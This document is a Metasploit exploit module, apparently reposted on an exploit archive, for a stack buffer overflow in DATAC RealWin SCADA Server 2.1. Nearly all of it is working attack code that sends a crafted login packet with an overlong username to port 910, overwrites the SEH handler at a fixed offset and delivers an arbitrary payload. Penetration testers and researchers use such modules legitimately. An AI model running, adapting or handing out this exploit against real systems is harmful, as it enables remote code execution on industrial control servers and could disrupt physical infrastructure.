RealWin SCADA Server DATAC Login Buffer Overflow

##
# $Id: realwin_on_fcs_login.rb 13007 2011-06-22 22:36:55Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'RealWin SCADA Server DATAC Login Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in DATAC Control
                International RealWin SCADA Server 2.1 (Build 6.0.10.10) or
                earlier.  By sending a specially crafted On_FC_CONNECT_FCS_LOGIN
                packet containing a long username, an attacker may be able to
                execute arbitrary code.
            },
            'Author'         =>
                [
                    'Luigi Auriemma', #discovery
                    'MC',
                    'B|H <bh[AT]bufferattack.com>'
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13007 $',
            'References'     =>
                [
                    [ 'URL', 'http://aluigi.altervista.org/adv/realwin_2-adv.txt' ],
                    [ 'URL', 'http://www.dataconline.com/software/realwin.php' ],
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'Space'    => 450,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Universal',
                        {
                            'Offset'   => 392,         # Offset to SEH
                            'Ret'      => 0x40012540,  # pop/pop/ret @FlexMLang.dll
                        }
                    ],
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Mar 21 2011'))
 
        register_options([Opt::RPORT(910)], self.class)
    end
 
    def exploit
        data =  [0x67542310].pack('V')
        data << [0x00000824].pack('V')
        data << [0x00110011].pack('V')
        data << "\x01\x00"
        data << rand_text_alpha_upper(target['Offset'])
        data << generate_seh_payload(target.ret)
        data << rand_text_alpha_upper(17706 - payload.encoded.length)
        data << [0x451c3500].pack('V')
        data << [0x00000154].pack('V')
        data << [0x00020040].pack('V')
 
        connect
        print_status("Trying target #{target.name}...")
        sock.put(data)
        select(nil,nil,nil,0.5)
        handler
        disconnect
    end
 
end



#  0day.today [2018-04-13]  #